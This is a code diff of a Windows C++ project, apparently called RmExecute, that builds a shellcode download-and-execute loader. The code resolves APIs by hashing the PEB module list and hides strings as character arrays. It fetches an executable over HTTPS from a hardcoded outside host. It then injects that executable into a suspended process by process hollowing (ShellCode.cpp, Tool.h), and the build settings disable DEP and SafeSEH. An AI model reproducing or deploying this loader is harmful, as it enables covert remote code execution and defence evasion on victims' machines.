<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>
</IgnoreSpecificDefaultLibraries>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<PreprocessorDefinitions>RUNEXEMT;_CRT_SECURE_NO_WARNINGS;WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<AdditionalOptions>/Gs32768 %(AdditionalOptions)</AdditionalOptions>
<Optimization>MaxSpeed</Optimization>
<DebugInformationFormat>None</DebugInformationFormat>
<FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<DataExecutionPrevention>false</DataExecutionPrevention>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>
</IgnoreSpecificDefaultLibraries>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<StringPooling>true</StringPooling>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<WholeProgramOptimization>true</WholeProgramOptimization>
<ExceptionHandling>false</ExceptionHandling>
<CompileAsManaged>false</CompileAsManaged>
<DebugInformationFormat>None</DebugInformationFormat>
<AdditionalOptions>/Gs32768 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>user32.lib;winhttp.lib;msvcrt.lib;</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="api.h" />
<ClInclude Include="hash.h" />
<ClInclude Include="ShellCode.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="Tool.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="Loader.cpp" />
<ClCompile Include="ShellCode.cpp" />
<ClCompile Include="stdafx.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,51 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="头文件\Tool">
<UniqueIdentifier>{f1ff9032-204a-44ff-b5cf-e171033df1a4}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="Tool.h">
<Filter>头文件\Tool</Filter>
</ClInclude>
<ClInclude Include="api.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="hash.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="ShellCode.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="Loader.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="ShellCode.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

89
RmExecute/ShellCode.cpp Normal file
View File

@ -0,0 +1,89 @@
#include "ShellCode.h"
//加载起始函数,跳转到入口函数
VOID _declspec(naked) mmLoaderSCStart()
{
__asm jmp Strat;
}
//将需要转为shellcode的所有代码放在这个类中
class RmExecute
{
public:
// 功能
#include"Tool.h"
public:
//模拟全局变量---这里是对项目全局变量的定义
Functions fn;
char s_runexe[260];
char* newbuff;
public:
//关于全局变量初始化以及一些开始的操作
RmExecute()
{
newbuff = NULL;
Initfunctions(&fn);
char runexe[] = { 'A', 'A','\0' };
fn.fnmemcpy(s_runexe, runexe, 260);
};
~RmExecute()
{
};
public:
//提取项目的main文件StartSCode相当于项目的main函数
void __stdcall StartSCode(char * URL)
{
wchar_t host[] = {'9','b','i','e','.','o','r','g' ,'\0' };
wchar_t path[] = { '/','c','m','d','.','e','x','e','\0' };
//使用API之前一定要调用这个避免地址丢失
Initfunctions(&fn);
int size = HttpDownload(host, path, 443, TRUE);
fn.fnMessageBoxA(NULL, newbuff, NULL, MB_OK);
RunPortableExecutable();
fn.fnfree(newbuff);
// 用完HttpDownload一定要free
}
};
//sehllcode入口函数
void __stdcall Strat(char * URL)
{
//由于需要模拟全局变量,所以使用类包裹下
RmExecute runclass;
runclass.StartSCode(URL);
}
void __declspec(naked) mmLoaderSCEnd()
{
__asm int 3;
}

15
RmExecute/ShellCode.h Normal file
View File

@ -0,0 +1,15 @@
#include <Windows.h>
#include <windows.h>
#include <winternl.h>
#include <winhttp.h>
#include <string.h>
#include "api.h"
EXTERN_C VOID
mmLoaderSCStart();//这里用来表明shellcode的开始
void __stdcall Strat(char * URL);//入口函数main
EXTERN_C VOID
mmLoaderSCEnd();//与开头对应的结尾

381
RmExecute/Tool.h Normal file
View File

@ -0,0 +1,381 @@
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
HMODULE RmExecute::GetProcAddressWithHash(DWORD dwModuleFunctionHash)
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB)__readgsqword(0x60);
#elif defined(_M_ARM)
PebAddress = (PPEB)((ULONG_PTR)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
__emit(0x00006B1B);
#else
PebAddress = (PPEB)__readfsdword(0x30);
#endif
pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
//获取下一个模块地址
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;
// 如果当前模块不导出任何函数,则转到下一个模块 加载模块入口
if (dwExportDirRVA == 0)
{
continue;
}
//计算模块哈希值
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR)BaseDllName.Buffer + i);
dwModuleHash = ROTR32(dwModuleHash, 13);
if (*pTempChar >= 0x61)
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA);
dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase);
pdwFunctionNameBase++;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32(dwFunctionHash, 13);
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}
return NULL;
}
void RmExecute::Initfunctions(Pfunctions pfn)
{
pfn->fnLoadLibraryA = (pfnLoadLibraryA)GetProcAddressWithHash(HASH_LoadLibraryA);
//获取LoadLibraryA函数地址
pfn->fnGetModuleFileNameA = (pfnGetModuleFileNameA)GetProcAddressWithHash(HASH_GetModuleFileNameA);
char szUser32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
pfn->fnLoadLibraryA(szUser32);
char szMsvcrt[] = { 'm', 's', 'v', 'c', 'r', 't', '.', 'd', 'l', 'l', 0 };
pfn->fnLoadLibraryA(szMsvcrt);
char szWinhttp[] = { 'w', 'i', 'n', 'h', 't', 't', 'p', '.', 'd', 'l', 'l', 0 };
pfn->fnLoadLibraryA(szWinhttp);
pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA);
pfn->fnCreateProcessA = (pfnCreateProcessA)GetProcAddressWithHash(HASH_CreateProcessA);
pfn->fnGetThreadContext = (pfnGetThreadContext)GetProcAddressWithHash(HASH_GetThreadContext);
pfn->fnReadProcessMemory = (pfnReadProcessMemory)GetProcAddressWithHash(HASH_ReadProcessMemory);
pfn->fnVirtualAllocEx = (pfnVirtualAllocEx)GetProcAddressWithHash(HASH_VirtualAllocEx);
pfn->fnWriteProcessMemory = (pfnWriteProcessMemory)GetProcAddressWithHash(HASH_WriteProcessMemory);
pfn->fnSetThreadContext = (pfnSetThreadContext)GetProcAddressWithHash(HASH_SetThreadContext);
pfn->fnResumeThread = (pfnResumeThread)GetProcAddressWithHash(HASH_ResumeThread);
pfn->fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddressWithHash(HASH_VirtualAlloc);
pfn->fnmalloc = (pfnmalloc)GetProcAddressWithHash(HASH_malloc);
pfn->fnfree = (pfnfree)GetProcAddressWithHash(HASH_free);
pfn->fnmemset = (pfnmemset)GetProcAddressWithHash(HASH_memset);
pfn->fnmemcpy = (pfnmemcpy)GetProcAddressWithHash(HASH_memcpy);
pfn->fnmemcmp = (pfnmemcmp)GetProcAddressWithHash(HASH_memcmp);
pfn->fnstrlen = (pfnstrlen)GetProcAddressWithHash(HASH_strlen);
pfn->fnstrcpy = (pfnstrcpy)GetProcAddressWithHash(HASH_strcpy);
pfn->fnstrcat = (pfnstrcat)GetProcAddressWithHash(HASH_strcat);
pfn->fnWinHttpOpen = (pfnWinHttpOpen)GetProcAddressWithHash(HASH_WinHttpOpen);
pfn->fnWinHttpConnect = (pfnWinHttpConnect)GetProcAddressWithHash(HASH_WinHttpConnect);
pfn->fnWinHttpOpenRequest = (pfnWinHttpOpenRequest)GetProcAddressWithHash(HASH_WinHttpOpenRequest);
pfn->fnWinHttpAddRequestHeaders = (pfnWinHttpAddRequestHeaders)GetProcAddressWithHash(HASH_WinHttpAddRequestHeaders);
pfn->fnWinHttpSendRequest = (pfnWinHttpSendRequest)GetProcAddressWithHash(HASH_WinHttpSendRequest);
pfn->fnWinHttpReceiveResponse = (pfnWinHttpReceiveResponse)GetProcAddressWithHash(HASH_WinHttpReceiveResponse);
pfn->fnWinHttpQueryDataAvailable = (pfnWinHttpQueryDataAvailable)GetProcAddressWithHash(HASH_WinHttpQueryDataAvailable);
pfn->fnWinHttpReadData = (pfnWinHttpReadData)GetProcAddressWithHash(HASH_WinHttpReadData);
pfn->fnWinHttpCloseHandle = (pfnWinHttpCloseHandle)GetProcAddressWithHash(HASH_WinHttpCloseHandle);
}
// 用完一定要free
int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,BOOL useSSL =FALSE) {
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
DWORD dwLast = 0;
LPSTR pszOutBuffer;
BOOL bResults = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
newbuff = NULL;
// Use WinHttpOpen to obtain a session handle.
wchar_t Sign[] = { 'W','i','n','H','T','T','P',' ','E','x','a','m','p','l','e','/','1','.','0','\0' };
hSession = fn.fnWinHttpOpen(Sign,
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = fn.fnWinHttpConnect(hSession, target,
port, 0);
wchar_t GET[] = { 'G','E','T','\0' };
// Create an HTTP request handle.
if (hConnect){}
hRequest = fn.fnWinHttpOpenRequest(hConnect, GET, path,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
useSSL ? WINHTTP_FLAG_SECURE : 0);
/*
#ifndef _WIN64
LPCWSTR header = L"Accept-platform: x86\n";
SIZE_T len = lstrlenW(header);
WinHttpAddRequestHeaders(hRequest, header, len, WINHTTP_ADDREQ_FLAG_ADD);
#else
LPCWSTR header = L"Accept-platform: x64\n";
SIZE_T len = lstrlenW(header);
WinHttpAddRequestHeaders(hRequest, header, len, WINHTTP_ADDREQ_FLAG_ADD);
#endif
*/
// Send a request.
if (hRequest)
bResults = fn.fnWinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
// End the request.
if (bResults)
bResults = fn.fnWinHttpReceiveResponse(hRequest, NULL);
// Keep checking for data until there is nothing left.
if (bResults)
{
do
{
// Check for available data.
dwSize = 0;
if (!fn.fnWinHttpQueryDataAvailable(hRequest, &dwSize))
return dwLast;
// Allocate space for the buffer.
//pszOutBuffer = new char[dwSize + 1];
BOOL Second = FALSE;
if (dwLast != 0) {
newbuff = (char *)fn.fnmalloc(dwLast + dwSize + 1);
fn.fnmemset(newbuff, 0, dwLast + dwSize + 1);
fn.fnmemcpy(newbuff, pszOutBuffer, dwLast);
fn.fnfree(pszOutBuffer);
pszOutBuffer = newbuff;
dwLast += dwSize;
Second = TRUE;
}
else {
newbuff = (LPSTR)fn.fnmalloc(dwSize + 1);
pszOutBuffer = newbuff;
dwLast = dwSize;
}
if (!pszOutBuffer)
{
return dwLast;
dwSize = 0;
}
else
{
// Read the data.
//ZeroMemory(pszOutBuffer, dwSize + 1);
BOOL Flag;
if (Second) {
Flag = fn.fnWinHttpReadData(hRequest, (LPVOID)(pszOutBuffer + dwLast-dwSize),
dwSize, &dwDownloaded);
}
else {
fn.fnmemset(pszOutBuffer, 0, dwSize + 1);
Flag = fn.fnWinHttpReadData(hRequest, (LPVOID)(pszOutBuffer),
dwSize, &dwDownloaded);
}
if (!Flag)
return dwLast;
// Free the memory allocated to the buffer.
//delete[] pszOutBuffer;
//fn.fnfree(pszOutBuffer);
}
} while (dwSize > 0);
}
// Report any errors.
if (!bResults)
return dwLast;
// Close any open handles.
if (hRequest) fn.fnWinHttpCloseHandle(hRequest);
if (hConnect) fn.fnWinHttpCloseHandle(hConnect);
if (hSession) fn.fnWinHttpCloseHandle(hSession);
return dwLast;
}
bool RmExecute::RunPortableExecutable()
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase = NULL;; //Base address of the image
void* pImageBase = NULL;; // Pointer to the image base
char CurrentFilePath[MAX_PATH];
DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(newbuff) + DOSHeader->e_lfanew); // Initialize
fn.fnGetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
//ZeroMemory(&PI, sizeof(PI)); // Null the memory
//ZeroMemory(&SI, sizeof(SI)); // Null the memory
fn.fnmemset(&PI, 0, sizeof(PI));
fn.fnmemset(&SI, 0, sizeof(SI));
if (fn.fnCreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //make process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(fn.fnVirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (fn.fnGetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
fn.fnReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = fn.fnVirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
//fix randomly crash
if (pImageBase == 0) {
fn.fnResumeThread(PI.hThread);
return 1;
}
else {
// Write the image to the process
fn.fnWriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (int count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(newbuff) + DOSHeader->e_lfanew + 248 + (count * 40));
fn.fnWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
fn.fnWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
fn.fnSetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
fn.fnResumeThread(PI.hThread); //?Start the process/call main()
}
return true; // Operation was successful.
}
}
}
return false;
}

234
RmExecute/api.h Normal file
View File

@ -0,0 +1,234 @@
#pragma once
#include "hash.h"
#include <windows.h>
#include <winternl.h>
//计算哈希值
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
//重新定义PEB结构。winternl.h中的结构定义是不完整的。
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
//定义函数指针
// Kernel32
typedef LPVOID (WINAPI* pfnVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef DWORD(WINAPI* pfnGetModuleFileNameA)(
HMODULE hModule,
LPSTR lpFilename,
DWORD nSize
);
typedef BOOL (WINAPI *pfnCreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL (WINAPI * pfnGetThreadContext)(
HANDLE hThread,
LPCONTEXT lpContext
);
typedef BOOL (WINAPI *